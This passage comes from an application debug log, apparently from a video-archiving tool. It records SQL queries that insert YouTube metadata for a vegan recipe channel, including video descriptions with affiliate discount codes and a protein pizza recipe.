00:00:00Z], 1] 20:31:06.601 [debug] QUERY OK source="media_items" db=1.9ms idle=10.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["In this what I eat in a day I'll show you a few high protein vegan recipes that I eat when I'm feeling a little more lazy and just want some easy and quick high protein vegan recipes. Each of these recipes could be amazing ideas for meal prep for the week like my protein cereal or the homemade protein sausages.\n\nBob and Brad Q2 Pro Massage Gun\n🇺🇸 US: https://amzn.to/4m2N3CD\n10% OFF Code: BOBBRADQ2\n\n🇨🇦 CA: https://amzn.to/3UXHSJb\n10% OFF: BOBBRADCA\n\nRecipes featured in this episode:\nProtein Cereal: \u00A0\u00A0\u00A0•\u00A0Let's\u00A0make\u00A0PROTEIN\u00A0CEREAL!\u00A0🥣\u00A030g\u00A0Protein\u00A0P...\u00A0\u00A0\nSausages: Coming next week, make sure to subscribe!\nNoodle Bowl (Billie Eilish Style): \u00A0\u00A0\u00A0•\u00A0I\u00A0made\u00A0the\u00A0VIRAL\u00A0Billie\u00A0Eilish\u00A0Vegan\u00A0Noodl...\u00A0\u00A0\n\n✨ Sign up for my email list and get recipes sent to you every month! ➡️ http://eepurl.com/iUdmrI\n\n💚 PRODUCTS I LOVE USING💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\nComplement Protein Powder: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\n20% off at Sprout Living (Available in the US)\nCode: STEAMYVEGAN20\n🔗: https://go.sproutliving.com/steamyveg...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/?ref=Janelle\n\nPrevious 'Protein Packed Goodies' Episodes:\n1. Protein Bars: \u00A0\u00A0\u00A0•\u00A0Homemade\u00A0Protein\u00A0Bars!\u00A0💪🏼\u00A0Vegan,\u00A0Gluten-Fr...\u00A0\u00A0\n2. Protein Cookies: \u00A0\u00A0\u00A0•\u00A0The\u00A0BEST\u00A0Protein\u00A0Cookies\u00A0(dairy-free\u00A0and\u00A0g...\u00A0\u00A0\n3. Protein Powder Review: \u00A0\u00A0\u00A0•\u00A0I\u00A0Tested\u00A040\u00A0Plant-Based\u00A0Protein\u00A0Powders\u00A0So...\u00A0\u00A0\n4. Protein Pizza: \u00A0\u00A0\u00A0•\u00A0This\u00A0PROTEIN\u00A0PIZZA\u00A0has\u00A092g\u00A0protein?!\u00A0🍕\u00A0(ve...\u00A0\u00A0\n5. Protein Brownies: \u00A0\u00A0\u00A0•\u00A0Protein\u00A0Brownies\u00A0with\u00A010g\u00A0Protein\u00A0&\u00A0215\u00A0Ca...\u00A0\u00A0\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com", "What I Eat in a Day 🌱 LAZY vegan meals to hit 100g protein", "11f13372-16cc-4d70-afb5-0cc5eba40772", 1, [], false, "pnI-9rwgPIk", "https://www.youtube.com/watch?v=pnI-9rwgPIk", 60, "/downloads/downloads/alec/Steamy Vegan/2025-09-06 What I Eat in a Day 🌱 LAZY vegan meals to hit 100g protein/What I Eat in a Day 🌱 LAZY vegan meals to hit 100g protein [pnI-9rwgPIk].NA", false, false, false, 1, ~U[2025-09-06 00:00:00Z], ~U[2026-03-22 03:31:06Z], ~U[2026-03-22 03:31:06Z], "In this what I eat in a day I'll show you a few high protein vegan recipes that I eat when I'm feeling a little more lazy and just want some easy and quick high protein vegan recipes. Each of these recipes could be amazing ideas for meal prep for the week like my protein cereal or the homemade protein sausages.\n\nBob and Brad Q2 Pro Massage Gun\n🇺🇸 US: https://amzn.to/4m2N3CD\n10% OFF Code: BOBBRADQ2\n\n🇨🇦 CA: https://amzn.to/3UXHSJb\n10% OFF: BOBBRADCA\n\nRecipes featured in this episode:\nProtein Cereal: \u00A0\u00A0\u00A0•\u00A0Let's\u00A0make\u00A0PROTEIN\u00A0CEREAL!\u00A0🥣\u00A030g\u00A0Protein\u00A0P...\u00A0\u00A0\nSausages: Coming next week, make sure to subscribe!\nNoodle Bowl (Billie Eilish Style): \u00A0\u00A0\u00A0•\u00A0I\u00A0made\u00A0the\u00A0VIRAL\u00A0Billie\u00A0Eilish\u00A0Vegan\u00A0Noodl...\u00A0\u00A0\n\n✨ Sign up for my email list and get recipes sent to you every month! ➡️ http://eepurl.com/iUdmrI\n\n💚 PRODUCTS I LOVE USING💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\nComplement Protein Powder: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\n20% off at Sprout Living (Available in the US)\nCode: STEAMYVEGAN20\n🔗: https://go.sproutliving.com/steamyveg...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/?ref=Janelle\n\nPrevious 'Protein Packed Goodies' Episodes:\n1. Protein Bars: \u00A0\u00A0\u00A0•\u00A0Homemade\u00A0Protein\u00A0Bars!\u00A0💪🏼\u00A0Vegan,\u00A0Gluten-Fr...\u00A0\u00A0\n2. Protein Cookies: \u00A0\u00A0\u00A0•\u00A0The\u00A0BEST\u00A0Protein\u00A0Cookies\u00A0(dairy-free\u00A0and\u00A0g...\u00A0\u00A0\n3. Protein Powder Review: \u00A0\u00A0\u00A0•\u00A0I\u00A0Tested\u00A040\u00A0Plant-Based\u00A0Protein\u00A0Powders\u00A0So...\u00A0\u00A0\n4. Protein Pizza: \u00A0\u00A0\u00A0•\u00A0This\u00A0PROTEIN\u00A0PIZZA\u00A0has\u00A092g\u00A0protein?!\u00A0🍕\u00A0(ve...\u00A0\u00A0\n5. Protein Brownies: \u00A0\u00A0\u00A0•\u00A0Protein\u00A0Brownies\u00A0with\u00A010g\u00A0Protein\u00A0&\u00A0215\u00A0Ca...\u00A0\u00A0\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com", "What I Eat in a Day 🌱 LAZY vegan meals to hit 100g protein", 1, nil, false, "pnI-9rwgPIk", "https://www.youtube.com/watch?v=pnI-9rwgPIk", "/downloads/downloads/alec/Steamy Vegan/2025-09-06 What I Eat in a Day 🌱 LAZY vegan meals to hit 100g protein/What I Eat in a Day 🌱 LAZY vegan meals to hit 100g protein [pnI-9rwgPIk].NA", false, ~U[2025-09-06 00:00:00Z]] 20:31:06.604 [debug] QUERY OK source="sources" db=2.4ms idle=10.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:06.607 [debug] QUERY OK source="media_items" db=2.4ms idle=11.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-09-03 00:00:00Z], 1] 20:31:06.609 [debug] QUERY OK source="media_items" db=1.2ms idle=12.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["This vegan breakfast recipe is a game changer if you're looking for a high protein breakfast to start your day. I now meal prep this protein cereal every single week and it's the highest protein cereal you'll find on the internet at 30g of protein per bowl. \n\nProtein Powder Featured in this Episode: \nComplement Protein Powder: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGet the full recipe for PROTEIN CEREAL on my blog ➡️ https://steamyvegan.com/protein-cereal/\n\nOTHER PROTEIN POWDERS YOU COULD USE\n\n20% off at Sprout Living (Available in the US)\nCode: STEAMYVEGAN20\n🔗: https://sproutliving.com/STEAMYVEGAN20\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/?ref=Janelle\n\nPrevious 'Protein Packed Goodies' Episodes:\n1. Protein Bars: \u00A0\u00A0\u00A0•\u00A0Homemade\u00A0Protein\u00A0Bars!\u00A0💪🏼\u00A0Vegan,\u00A0Gluten-Fr...\u00A0\u00A0\n2. Protein Cookies: \u00A0\u00A0\u00A0•\u00A0The\u00A0BEST\u00A0Protein\u00A0Cookies\u00A0(dairy-free\u00A0and\u00A0g...\u00A0\u00A0\n3. Protein Powder Review: \u00A0\u00A0\u00A0•\u00A0I\u00A0Tested\u00A040\u00A0Plant-Based\u00A0Protein\u00A0Powders\u00A0So...\u00A0\u00A0\n4. Protein Pizza: \u00A0\u00A0\u00A0•\u00A0This\u00A0PROTEIN\u00A0PIZZA\u00A0has\u00A092g\u00A0protein?!\u00A0🍕\u00A0(ve...\u00A0\u00A0\n5. Protein Brownies: \u00A0\u00A0\u00A0•\u00A0Protein\u00A0Brownies\u00A0with\u00A010g\u00A0Protein\u00A0&\u00A0215\u00A0Ca...\u00A0\u00A0\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com", "Let's make PROTEIN CEREAL! 🥣 30g Protein PER BOWL", "44d30557-437f-4927-bf34-bc2d476c0712", 1, [], false, "Cy1voILGWlo", "https://www.youtube.com/watch?v=Cy1voILGWlo", 61, "/downloads/downloads/alec/Steamy Vegan/2025-09-03 Let's make PROTEIN CEREAL! 🥣 30g Protein PER BOWL/Let's make PROTEIN CEREAL! 🥣 30g Protein PER BOWL [Cy1voILGWlo].NA", false, false, false, 1, ~U[2025-09-03 00:00:00Z], ~U[2026-03-22 03:31:06Z], ~U[2026-03-22 03:31:06Z], "This vegan breakfast recipe is a game changer if you're looking for a high protein breakfast to start your day. I now meal prep this protein cereal every single week and it's the highest protein cereal you'll find on the internet at 30g of protein per bowl. \n\nProtein Powder Featured in this Episode: \nComplement Protein Powder: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGet the full recipe for PROTEIN CEREAL on my blog ➡️ https://steamyvegan.com/protein-cereal/\n\nOTHER PROTEIN POWDERS YOU COULD USE\n\n20% off at Sprout Living (Available in the US)\nCode: STEAMYVEGAN20\n🔗: https://sproutliving.com/STEAMYVEGAN20\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/?ref=Janelle\n\nPrevious 'Protein Packed Goodies' Episodes:\n1. Protein Bars: \u00A0\u00A0\u00A0•\u00A0Homemade\u00A0Protein\u00A0Bars!\u00A0💪🏼\u00A0Vegan,\u00A0Gluten-Fr...\u00A0\u00A0\n2. Protein Cookies: \u00A0\u00A0\u00A0•\u00A0The\u00A0BEST\u00A0Protein\u00A0Cookies\u00A0(dairy-free\u00A0and\u00A0g...\u00A0\u00A0\n3. Protein Powder Review: \u00A0\u00A0\u00A0•\u00A0I\u00A0Tested\u00A040\u00A0Plant-Based\u00A0Protein\u00A0Powders\u00A0So...\u00A0\u00A0\n4. Protein Pizza: \u00A0\u00A0\u00A0•\u00A0This\u00A0PROTEIN\u00A0PIZZA\u00A0has\u00A092g\u00A0protein?!\u00A0🍕\u00A0(ve...\u00A0\u00A0\n5. Protein Brownies: \u00A0\u00A0\u00A0•\u00A0Protein\u00A0Brownies\u00A0with\u00A010g\u00A0Protein\u00A0&\u00A0215\u00A0Ca...\u00A0\u00A0\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com", "Let's make PROTEIN CEREAL! 🥣 30g Protein PER BOWL", 1, nil, false, "Cy1voILGWlo", "https://www.youtube.com/watch?v=Cy1voILGWlo", "/downloads/downloads/alec/Steamy Vegan/2025-09-03 Let's make PROTEIN CEREAL! 🥣 30g Protein PER BOWL/Let's make PROTEIN CEREAL! 🥣 30g Protein PER BOWL [Cy1voILGWlo].NA", false, ~U[2025-09-03 00:00:00Z]] 20:31:06.610 [debug] QUERY OK source="sources" db=1.2ms idle=10.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:06.613 [debug] QUERY OK source="media_items" db=2.2ms idle=9.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-08-30 00:00:00Z], 1] 20:31:06.616 [debug] QUERY OK source="media_items" db=2.0ms idle=9.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["This protein pizza recipe has a high-protein crust that gives you 31g of protein per 2 slices and best of all it's vegan and gluten-free. The whole pizza has at least 92g of vegan protein! It is cheaper than store bought gluten-free pizza crusts, is easy and takes 5 minutes to make, and uses tofu and lupin flour to make it so high-protein.\n\nMACROS MATH ⬇️\nThe entire pizza crust has 92g of protein so depending on how many slices you cut and eat, this are the rough macros you can expect per slice (not including toppings)\n4 slices = 23g protein per slice (** I made an error in the video stating 31g, which is incorrect and reflects the amount per 2 slices if you cut the pizza into 6 slices! 😅)\n6 slices = 15g protein per slice\n\nProtein Pizza Recipe (hitting blog soon, for now enjoy it here!)\nIngredients:\n1 12-oz block extra firm tofu\n50g lupin flour (about ¼ cup)\n3 tbsp nutritional yeast \n¼ cup + 2 tbsp unsweetened soy mik\n3 cloves garlic\n¾ tsp salt\nOptional add-ins:\n1 tsp onion powder\n1 tsp fresh rosemary, chopped\n½ tsp red chili flakes\nFinely chopped olives\n\n1. Preheat oven to 425°F and line a baking sheet with parchment paper. \nCrumble the block of extra firm tofu into the bowl of a food processor along with all the remaining ingredients. Seal the lid and process the ingredients on high-speed until a thick dough-like consistency is reached.\n2. Transfer the pizza dough onto the parchment lined tray and with dampened hands, press down into the dough and shape it into a flat round pizza crust, about 10\" in diameter.\n3. Pop into the oven and bake for 20 minutes until becoming golden and slightly crisped around the edges. Remove from oven and top with your favourite toppings, then bake for a further 10 minutes until the edges of the crust are deeper golden.\n\nHigh-protein pesto in this pasta recipe here ➡️ https://steamyvegan.com/protein-pesto...\n\n\n💚 PRODUCTS I LOVE USING💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\nComplement Protein Powder: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\n20% off at Sprout Living (Available in the US)\nCode: STEAMYVEGAN20\n🔗: https://go.sproutliving.com/steamyveg...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/?ref=Janelle\n\nPrevious 'Protein Packed Goodies' Episodes:\n1. Protein Bars: \u00A0\u00A0\u00A0•\u00A0Homemade\u00A0Protein\u00A0Bars!\u00A0💪🏼\u00A0Vegan,\u00A0Gluten-Fr...\u00A0\u00A0\n2. Protein Cookies: \u00A0\u00A0\u00A0•\u00A0The\u00A0BEST\u00A0Protein\u00A0Cookies\u00A0(dairy-free\u00A0and\u00A0g...\u00A0\u00A0\n3. Protein Powder Review: \u00A0\u00A0\u00A0•\u00A0I\u00A0Tested\u00A040\u00A0Plant-Based\u00A0Protein\u00A0Powders\u00A0So...\u00A0\u00A0\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com", "This PROTEIN PIZZA has 92g protein?! 🍕 (vegan recipe)", "f6884773-96e8-437e-a038-6ac934e30450", 1, [], false, "5p3S9hda-Qo", "https://www.youtube.com/watch?v=5p3S9hda-Qo", 62, "/downloads/downloads/alec/Steamy Vegan/2025-08-30 This PROTEIN PIZZA has 92g protein?! 🍕 (vegan recipe)/This PROTEIN PIZZA has 92g protein?! 🍕 (vegan recipe) [5p3S9hda-Qo].NA", false, false, false, 1, ~U[2025-08-30 00:00:00Z], ~U[2026-03-22 03:31:06Z], ~U[2026-03-22 03:31:06Z], "This protein pizza recipe has a high-protein crust that gives you 31g of protein per 2 slices and best of all it's vegan and gluten-free. The whole pizza has at least 92g of vegan protein! It is cheaper than store bought gluten-free pizza crusts, is easy and takes 5 minutes to make, and uses tofu and lupin flour to make it so high-protein.\n\nMACROS MATH ⬇️\nThe entire pizza crust has 92g of protein so depending on how many slices you cut and eat, this are the rough macros you can expect per slice (not including toppings)\n4 slices = 23g protein per slice (** I made an error in the video stating 31g, which is incorrect and reflects the amount per 2 slices if you cut the pizza into 6 slices! 😅)\n6 slices = 15g protein per slice\n\nProtein Pizza Recipe (hitting blog soon, for now enjoy it here!)\nIngredients:\n1 12-oz block extra firm tofu\n50g lupin flour (about ¼ cup)\n3 tbsp nutritional yeast \n¼ cup + 2 tbsp unsweetened soy mik\n3 cloves garlic\n¾ tsp salt\nOptional add-ins:\n1 tsp onion powder\n1 tsp fresh rosemary, chopped\n½ tsp red chili flakes\nFinely chopped olives\n\n1. Preheat oven to 425°F and line a baking sheet with parchment paper. \nCrumble the block of extra firm tofu into the bowl of a food processor along with all the remaining ingredients. Seal the lid and process the ingredients on high-speed until a thick dough-like consistency is reached.\n2. Transfer the pizza dough onto the parchment lined tray and with dampened hands, press down into the dough and shape it into a flat round pizza crust, about 10\" in diameter.\n3. Pop into the oven and bake for 20 minutes until becoming golden and slightly crisped around the edges. Remove from oven and top with your favourite toppings, then bake for a further 10 minutes until the edges of the crust are deeper golden.\n\nHigh-protein pesto in this pasta recipe here ➡️ https://steamyvegan.com/protein-pesto...\n\n\n💚 PRODUCTS I LOVE USING💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\nComplement Protein Powder: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\n20% off at Sprout Living (Available in the US)\nCode: STEAMYVEGAN20\n🔗: https://go.sproutliving.com/steamyveg...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/?ref=Janelle\n\nPrevious 'Protein Packed Goodies' Episodes:\n1. Protein Bars: \u00A0\u00A0\u00A0•\u00A0Homemade\u00A0Protein\u00A0Bars!\u00A0💪🏼\u00A0Vegan,\u00A0Gluten-Fr...\u00A0\u00A0\n2. Protein Cookies: \u00A0\u00A0\u00A0•\u00A0The\u00A0BEST\u00A0Protein\u00A0Cookies\u00A0(dairy-free\u00A0and\u00A0g...\u00A0\u00A0\n3. Protein Powder Review: \u00A0\u00A0\u00A0•\u00A0I\u00A0Tested\u00A040\u00A0Plant-Based\u00A0Protein\u00A0Powders\u00A0So...\u00A0\u00A0\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com", "This PROTEIN PIZZA has 92g protein?! 🍕 (vegan recipe)", 1, nil, false, "5p3S9hda-Qo", "https://www.youtube.com/watch?v=5p3S9hda-Qo", "/downloads/downloads/alec/Steamy Vegan/2025-08-30 This PROTEIN PIZZA has 92g protein?! 🍕 (vegan recipe)/This PROTEIN PIZZA has 92g protein?! 🍕 (vegan recipe) [5p3S9hda-Qo].NA", false, ~U[2025-08-30 00:00:00Z]] 20:31:06.617 [debug] QUERY OK source="sources" db=0.6ms idle=9.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:06.619 [debug] QUERY OK source="media_items" db=2.1ms idle=8.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-08-26 00:00:00Z], 1] 20:31:06.621 [debug] QUERY OK source="media_items" db=1.5ms idle=9.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["These protein brownies are super high-protein with 10g protein and low calorie with only 215 calories while being a vegan, gluten-free, oil-free, dairy-free, and refined sugar free recipe. This vegan recipe is great for anyone craving a high-protein dessert that'll help you build muscle and drop weight while enjoying something ooey, gooey and so chocolate-y!\n\nGet the recipe on my blog! ➡️ https://steamyvegan.com/healthy-prote...\n\nProtein Powder Featured in this Episode:\nVedge Nutrition\nDiscount = 10% off\nCode: STEAMYVEGAN\nLink: https://www.vedgenutrition.com/?rfsn=...\n\n💚 OTHER PRODUCTS I'D RECOMMEND FOR THIS RECIPE💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nWhy? Give your brownies a coffee punch!\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\nComplement Protein Powder: 15% off your purchase (Available in the US and Internationally)\nWhy? One of the cleanest protein powders on the market\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\n20% off at Sprout Living (Available in the US)\nWhy? Great selection of flavours, their Complete Coffee would be epic for this\nCode: STEAMYVEGAN20\n🔗: https://go.sproutliving.com/steamyveg...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nWhy? The best protein powder for anyone living in Canada. Try their mint chocolate chip or Mocha flavours in this recipe\nCode: JANELLEC30\n🔗: https://goodprotein.ca/?ref=Janelle\n\nVivoLife Protein Powder: 15% off your first purchase\nWhy? Great for anyone living in the UK or US and super clean\nCode: just use the below link, the discount should come up at checkout\nUS Customers: https://www.vivolife.com/steamy15\nUK Customers: https://www.vivolife.co.uk/STEAMYVEGAN\n\nPrevious 'Protein Packed Goodies' Episodes:\n1. Protein Bars: \u00A0\u00A0\u00A0•\u00A0Homemade\u00A0Protein\u00A0Bars!\u00A0💪🏼\u00A0Vegan,\u00A0Gluten-Fr...\u00A0\u00A0\n2. Protein Cookies: \u00A0\u00A0\u00A0•\u00A0The\u00A0BEST\u00A0Protein\u00A0Cookies\u00A0(dairy-free\u00A0and\u00A0g...\u00A0\u00A0\n3. Protein Powder Review: \u00A0\u00A0\u00A0•\u00A0I\u00A0Tested\u00A040\u00A0Plant-Based\u00A0Protein\u00A0Powders\u00A0So...\u00A0\u00A0\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com", "Protein Brownies with 10g Protein & 215 Calories! (Vegan, Gluten-free, Oil-Free, Dairy-Free)", "7f5ff325-fd68-4f2a-9ee4-6fdefb6d290a", 1, [], false, "_UC28uXCPZU", "https://www.youtube.com/watch?v=_UC28uXCPZU", 63, "/downloads/downloads/alec/Steamy Vegan/2025-08-26 Protein Brownies with 10g Protein & 215 Calories! (Vegan, Gluten-free, Oil-Free, Dairy-Free)/Protein Brownies with 10g Protein & 215 Calories! (Vegan, Gluten-free, Oil-Free, Dairy-Free) [_UC28uXCPZU].NA", false, false, false, 1, ~U[2025-08-26 00:00:00Z], ~U[2026-03-22 03:31:06Z], ~U[2026-03-22 03:31:06Z], "These protein brownies are super high-protein with 10g protein and low calorie with only 215 calories while being a vegan, gluten-free, oil-free, dairy-free, and refined sugar free recipe. This vegan recipe is great for anyone craving a high-protein dessert that'll help you build muscle and drop weight while enjoying something ooey, gooey and so chocolate-y!\n\nGet the recipe on my blog! ➡️ https://steamyvegan.com/healthy-prote...\n\nProtein Powder Featured in this Episode:\nVedge Nutrition\nDiscount = 10% off\nCode: STEAMYVEGAN\nLink: https://www.vedgenutrition.com/?rfsn=...\n\n💚 OTHER PRODUCTS I'D RECOMMEND FOR THIS RECIPE💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nWhy? Give your brownies a coffee punch!\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\nComplement Protein Powder: 15% off your purchase (Available in the US and Internationally)\nWhy? One of the cleanest protein powders on the market\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\n20% off at Sprout Living (Available in the US)\nWhy? Great selection of flavours, their Complete Coffee would be epic for this\nCode: STEAMYVEGAN20\n🔗: https://go.sproutliving.com/steamyveg...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nWhy? The best protein powder for anyone living in Canada. Try their mint chocolate chip or Mocha flavours in this recipe\nCode: JANELLEC30\n🔗: https://goodprotein.ca/?ref=Janelle\n\nVivoLife Protein Powder: 15% off your first purchase\nWhy? Great for anyone living in the UK or US and super clean\nCode: just use the below link, the discount should come up at checkout\nUS Customers: https://www.vivolife.com/steamy15\nUK Customers: https://www.vivolife.co.uk/STEAMYVEGAN\n\nPrevious 'Protein Packed Goodies' Episodes:\n1. Protein Bars: \u00A0\u00A0\u00A0•\u00A0Homemade\u00A0Protein\u00A0Bars!\u00A0💪🏼\u00A0Vegan,\u00A0Gluten-Fr...\u00A0\u00A0\n2. Protein Cookies: \u00A0\u00A0\u00A0•\u00A0The\u00A0BEST\u00A0Protein\u00A0Cookies\u00A0(dairy-free\u00A0and\u00A0g...\u00A0\u00A0\n3. Protein Powder Review: \u00A0\u00A0\u00A0•\u00A0I\u00A0Tested\u00A040\u00A0Plant-Based\u00A0Protein\u00A0Powders\u00A0So...\u00A0\u00A0\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com", "Protein Brownies with 10g Protein & 215 Calories! (Vegan, Gluten-free, Oil-Free, Dairy-Free)", 1, nil, false, "_UC28uXCPZU", "https://www.youtube.com/watch?v=_UC28uXCPZU", "/downloads/downloads/alec/Steamy Vegan/2025-08-26 Protein Brownies with 10g Protein & 215 Calories! (Vegan, Gluten-free, Oil-Free, Dairy-Free)/Protein Brownies with 10g Protein & 215 Calories! (Vegan, Gluten-free, Oil-Free, Dairy-Free) [_UC28uXCPZU].NA", false, ~U[2025-08-26 00:00:00Z]] 20:31:06.622 [debug] QUERY OK source="sources" db=0.5ms idle=8.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", 